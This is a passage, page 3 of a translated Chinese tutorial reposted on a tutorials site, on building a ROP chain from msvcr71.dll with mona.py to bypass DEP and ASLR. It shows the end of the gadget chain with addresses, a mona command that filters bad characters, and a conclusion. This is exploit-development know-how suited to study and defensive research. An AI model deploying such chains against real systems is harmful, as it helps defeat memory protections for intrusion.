免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 系统安全 > 用msvcr71.dll和mona.py绕过DEP/ASLR(3)

用msvcr71.dll和mona.py绕过DEP/ASLR(3)

时间:2011-12-26 21:00来源:未知 整理:寂涯网络 点击:


 0x7c34b8d8, # ROP NOP (-> edi)
 0x7c344f87, # POP EDX # RETN (MSVCR71.dll)
 0xffffffc0, # value to negate, target value : 0x00000040, target: edx
 0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll)
 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
 0x90909090, # NOPS (-> eax)
 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
 # rop chain generated with mona.py
].pack("V*") 

共 31 个双字,比白磷的商业版多了 9 个双字。但是这个证明了我的观点,而且只花费
了我 10 分钟不到的时间便能建立起这个通用的可以绕过 DEP和 ASLR 的链。
  顺便说一下,如果你不知道,也许有坏字节(假设你需要避免使用’\0xa’和’\0xd’),
那么你可以运行如下:!mona rop -m msvcr71.dll -n -cpb '\x0a\x0d'
以及获取其他指针,其实这些很简单。
总结
  不管结果看上去多么完美或者结果多么肯定,它终究会有其他的办法能实现这种结果。
本文就是验证了这个观点(译者注:该文Immunity Debugger 需要在 1.83 版本上调试、
mona,py是corelan组织最新发布的一个可以替代并且功能远强于pvefindaddr的脚本,
mona.py 脚本。
 

本页地址 http://www.jybase.net/xitonganquan/20111226731.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com